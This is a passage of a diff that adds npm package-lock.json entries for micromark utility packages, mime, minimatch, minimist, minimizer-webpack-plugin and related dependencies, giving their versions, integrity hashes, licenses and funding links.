"node_modules/micromark-factory-label/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-label/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-factory-mdx-expression": { + "version": "2.0.3", + "integrity": "sha512-kQnEtA3vzucU2BkrIa8/VaSAsP+EJ3CKOvhMuJgOEGg9KDC6OAY6nSnNDVRiVNRqj7Y4SlSzcStaH/5jge8JdQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "devlop": "^1.0.0", + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-events-to-acorn": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unist-util-position-from-estree": "^2.0.0", + "vfile-message": "^4.0.0" + } + }, + "node_modules/micromark-factory-mdx-expression/node_modules/micromark-factory-space": { + "version": "2.0.1", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-mdx-expression/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-mdx-expression/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-factory-space": { + "version": "1.1.0", + "integrity": "sha512-cRzEj7c0OL4Mw2v6nwzttyOZe8XY/Z8G0rzmWQZTBi/jjwyw/U4uqKtUORXQrR5bAZZnbTI/feRV/R7hc4jQYQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-factory-space/node_modules/micromark-util-types": { + "version": "1.1.0", + "integrity": "sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-factory-title": { + "version": "2.0.1", + "integrity": "sha512-5bZ+3CjhAd9eChYTHsjy6TGxpOFSKgKKJPJxr293jTbfry2KDoWkhBb6TcPVB4NmzaPhMs1Frm9AZH7OD4Cjzw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-title/node_modules/micromark-factory-space": { + "version": "2.0.1", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-title/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-title/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-factory-whitespace": { + "version": "2.0.1", + "integrity": "sha512-Ob0nuZ3PKt/n0hORHyvoD9uZhr+Za8sFoP+OnMcnWK5lngSzALgQYKMr9RJVOWLqQYuyn6ulqGWSXdwf6F80lQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-factory-space": "^2.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-whitespace/node_modules/micromark-factory-space": { + "version": "2.0.1", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-whitespace/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-factory-whitespace/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-character": { + "version": "1.2.0", + "integrity": "sha512-lXraTwcX3yH/vMDaFWCQJP1uIszLVebzUa3ZHdrgxr7KEU/9mL4mVgCpGbyhvNLNlauROiNUq7WN5u7ndbY6xg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0" + } + }, + "node_modules/micromark-util-character/node_modules/micromark-util-types": { + "version": "1.1.0", + "integrity": "sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-chunked": { + "version": "2.0.1", + "integrity": "sha512-QUNFEOPELfmvv+4xiNg2sRYeS/P84pTW0TCgP5zc9FpXetHY0ab7SxKyAQCNCc1eK0459uoLI1y5oO5Vc1dbhA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-chunked/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-classify-character": { + "version": "2.0.1", + "integrity": "sha512-K0kHzM6afW/MbeWYWLjoHQv1sgg2Q9EccHEDzSkxiP/EaagNzCm7T/WMKZ3rjMbvIpvBiZgwR3dKMygtA4mG1Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-classify-character/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-classify-character/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-combine-extensions": { + "version": "2.0.1", + "integrity": "sha512-OnAnH8Ujmy59JcyZw8JSbK9cGpdVY44NKgSM7E9Eh7DiLS2E9RNQf0dONaGDzEG9yjEl5hcqeIsj4hfRkLH/Bg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-chunked": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-numeric-character-reference": { + "version": "2.0.2", + "integrity": "sha512-ccUbYk6CwVdkmCQMyr64dXz42EfHGkPQlBj5p7YVGzq8I7CtjXZJrubAYezf7Rp+bjPseiROqe7G6foFd+lEuw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-numeric-character-reference/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-decode-string": { + "version": "2.0.1", + "integrity": "sha512-nDV/77Fj6eH1ynwscYTOsbK7rR//Uj0bZXBwJZRfaLEJ1iGBR6kIfNmlNqaqJf649EP0F3NWNdeJi03elllNUQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "decode-named-character-reference": "^1.0.0", + "micromark-util-character": "^2.0.0", + "micromark-util-decode-numeric-character-reference": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-string/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-decode-string/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-encode": { + "version": "2.0.1", + "integrity": "sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-events-to-acorn": { + "version": "2.0.3", + "integrity": "sha512-jmsiEIiZ1n7X1Rr5k8wVExBQCg5jy4UXVADItHmNk1zkwEVhBuIUKRu3fqv+hs4nxLISi2DQGlqIOGiFxgbfHg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0", + "@types/unist": "^3.0.0", + "devlop": "^1.0.0", + "estree-util-visit": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0", + "vfile-message": "^4.0.0" + } + }, + "node_modules/micromark-util-events-to-acorn/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-html-tag-name": { + "version": "2.0.1", + "integrity": "sha512-2cNEiYDhCWKI+Gs9T0Tiysk136SnR13hhO8yW6BGNyhOC4qYFnwF1nKfD3HFAIXA5c45RrIG1ub11GiXeYd1xA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-normalize-identifier": { + "version": "2.0.1", + "integrity": "sha512-sxPqmo70LyARJs0w2UclACPUUEqltCkJ6PhKdMIDuJ3gSf/Q+/GIe3WKl0Ijb/GyH9lOpUkRAO2wp0GVkLvS9Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-normalize-identifier/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-resolve-all": { + "version": "2.0.1", + "integrity": "sha512-VdQyxFWFT2/FGJgwQnJYbe1jjQoNTS4RjglmSjTUlpUMa95Htx9NHeYW4rGDJzbjvCsl9eLjMQwGeElsqmzcHg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-sanitize-uri": { + "version": "2.0.1", + "integrity": "sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-encode": "^2.0.0", + "micromark-util-symbol": "^2.0.0" + } + }, + "node_modules/micromark-util-sanitize-uri/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-sanitize-uri/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-subtokenize": { + "version": "2.1.0", + "integrity": "sha512-XQLu552iSctvnEcgXw6+Sx75GflAPNED1qx7eBJ+wydBb2KCbRZe+NwvIEEMM83uml1+2WSXpBAcp9IUCgCYWA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "devlop": "^1.0.0", + "micromark-util-chunked": "^2.0.0", + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark-util-subtokenize/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-symbol": { + "version": "1.1.0", + "integrity": "sha512-uEjpEYY6KMs1g7QfJ2eX1SQEV+ZT4rUD3UcF6l57acZvLNK7PBZL+ty82Z1qhK1/yXIY4bdx04FKMgR0g4IAag==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-types": { + "version": "2.0.2", + "integrity": "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark/node_modules/micromark-factory-space": { + "version": "2.0.1", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-character": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark/node_modules/micromark-util-character": { + "version": "2.1.1", + "integrity": "sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT", + "dependencies": { + "micromark-util-symbol": "^2.0.0", + "micromark-util-types": "^2.0.0" + } + }, + "node_modules/micromark/node_modules/micromark-util-symbol": { + "version": "2.0.1", + "integrity": "sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromatch": { + "version": "4.0.8", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "license": "MIT", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.33.0", + "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.18", + "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", + "license": "MIT", + "dependencies": { + "mime-db": "~1.33.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/mimic-response": { + "version": "4.0.0", + "integrity": "sha512-e5ISH9xMYU0DzrT+jl8q2ze9D6eWBto+I8CNpe+VI+K2J/F/k3PdkdTdz4wvGVH4NTpo+NRYTVIuMQEMMcsLqg==", + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mini-css-extract-plugin": { + "version": "2.10.2", + "integrity": "sha512-AOSS0IdEB95ayVkxn5oGzNQwqAi2J0Jb/kKm43t7H73s8+f5873g0yuj0PNvK4dO75mu5DHg4nlgp4k6Kga8eg==", + "license": "MIT", + "dependencies": { + "schema-utils": "^4.0.0", + "tapable": "^2.2.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.1", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", + "license": "ISC" + }, + "node_modules/minimatch": { + "version": "3.1.5", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minimizer-webpack-plugin": { + "version": "5.6.1", + "integrity": "sha512-DoeAZz8Q1C1znwsUzej1fdoi4jCf7/+Em27ouLqfK/+3m8G+D7yDhUwrc3CNhjSzGUN1kn7Iv4sWmjflQHenpw==", + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.25", + "jest-worker": "^27.4.5", + "schema-utils": "^4.3.0", + "terser": "^5.31.1" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + }, + "peerDependenciesMeta": { + "@minify-html/node": { + "optional": true + }, + "@swc/core": { + "optional": true + }, + "@swc/css": { + "optional": true + }, + "@swc/html": { + "optional": true + }, + "clean-css": { + "optional": true + }, + "cssnano": { + "optional": true + }, + "csso": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "html-minifier-terser": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "postcss": { + "optional": true + }, + "uglify-js": { + "optional": true + } + } + }, + "node_modules/minimizer-webpack-plugin/node_modules/jest-worker": { + "version": "27.5.1", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "license": "MIT", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/minimizer-webpack-plugin/node_modules/supports-color": { + "version": "8.1.1", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": 